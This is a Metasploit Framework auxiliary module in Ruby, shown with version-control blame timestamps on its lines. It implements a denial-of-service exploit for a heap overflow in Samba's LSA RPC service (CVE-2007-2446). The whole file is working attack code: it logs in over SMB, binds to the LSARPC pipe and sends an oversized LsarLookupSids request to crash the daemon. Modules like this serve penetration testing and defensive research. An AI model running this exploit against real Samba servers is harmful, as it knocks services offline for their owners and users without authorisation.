2007-05-21 20:54:00 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-05-21 20:54:00 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-05-21 20:54:00 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2007-05-21 20:54:00 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2010-04-30 08:40:19 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
2007-05-21 20:54:00 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-05-21 20:54:00 +00:00
|
|
|
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module triggers a heap overflow in the LSA RPC service
|
|
|
|
of the Samba daemon.
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2007-2446'],
|
2010-02-23 19:26:07 +00:00
|
|
|
['OSVDB', '34699'],
|
2007-05-21 20:54:00 +00:00
|
|
|
]
|
|
|
|
))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-05-21 20:54:00 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
|
|
|
|
], self.class)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-05-21 20:54:00 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-05-21 20:54:00 +00:00
|
|
|
pipe = datastore['SMBPIPE'].downcase
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-05-21 20:54:00 +00:00
|
|
|
print_status("Connecting to the SMB service...")
|
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
|
|
|
datastore['DCERPC::fake_bind_multi'] = false
|
|
|
|
|
|
|
|
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
|
|
|
stub = lsa_open_policy(dcerpc)
|
|
|
|
stub << NDR.long(0)
|
|
|
|
stub << NDR.long(0)
|
|
|
|
stub << NDR.long(1)
|
|
|
|
stub << NDR.long(0x20004)
|
|
|
|
stub << NDR.long(0x100)
|
|
|
|
stub << ("X" * 16) * 0x100
|
|
|
|
stub << NDR.long(1)
|
|
|
|
stub << NDR.long(0)
|
|
|
|
|
|
|
|
print_status("Calling the vulnerable function...")
|
|
|
|
|
|
|
|
begin
|
|
|
|
# LsarLookupSids
|
|
|
|
dcerpc.call(0x0f, stub)
|
2009-09-20 19:49:03 +00:00
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, ::EOFError
|
2007-05-21 20:54:00 +00:00
|
|
|
print_good('Server did not respond, this is expected')
|
|
|
|
rescue => e
|
|
|
|
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
|
|
|
print_good('Server disconnected, this is expected')
|
|
|
|
else
|
|
|
|
raise e
|
|
|
|
end
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-05-21 20:54:00 +00:00
|
|
|
dcerpc.call(0x0f, stub)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
disconnect
|
2007-05-21 20:54:00 +00:00
|
|
|
end
|
|
|
|
|
2008-11-18 20:00:31 +00:00
|
|
|
end
|